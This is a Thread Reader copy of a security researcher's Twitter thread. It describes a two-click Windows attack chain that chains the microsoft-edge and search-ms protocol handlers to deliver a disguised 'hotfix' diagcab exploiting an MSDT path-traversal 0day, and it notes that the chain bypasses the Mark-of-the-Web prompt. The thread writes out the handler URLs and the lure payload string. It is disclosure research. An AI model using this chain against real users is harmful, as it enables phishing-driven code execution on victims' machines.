j00sean Profile picture
Jun 6 6 tweets 2 min read
microsoft-edge + ms-search + MSDT path traversal 0day = fun of 2-clicks (one click additional due to Protected View if docx is coming from remote btw).
This is the full chain:

1) Open a docx which connects to a remote server to download a diagcab file by MS Edge. This uses the protocol handler "microsoft-edge". So easy as this: "microsoft-edge:http://127.0.0.1:8081/foo.html"

2) Use "ms-search" trick to open folder Downloads.
Note i don't know username but i'm using what MS calls "Constants for Common Folders": location:shell%3aDownloads.

Full payload is: "search-ms:query=KB5002076-hotfix.diagcab&crumb=location:shell%3aDownloads&displayname=Important%20update"

Source: docs.microsoft.com/en-us/windows/…
3) Double-click the file "KB5002076-hotfix.diagcab" to exploit that path traversal 0day in MSDT.
Bonuses:

1) It's not needed to use a remote location for "ms-search". We can use folder Downloads.
2) As the downloaded file is diagcab, there's no prompt to open an executable in a remote location. And MOTW prompt bypass.
For people who wonder if this is related to #Follina. It's another 0day. Context:

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with j00sean

j00sean Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @j00sean

Jun 7
What about PDF Readers?
Adobe Acrobat DC vs Foxit PDF Reader.
Surprisingly Adobe Acrobat's sandbox stops uri protocol handlers. Nice win for Adobe crew. No bypasses tested yet, though. Image
Foxit doesn't allow "ms-search" so it's needed to use "microsoft-edge" twice. That punishes us with another click. ImageImageImage
Read 4 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(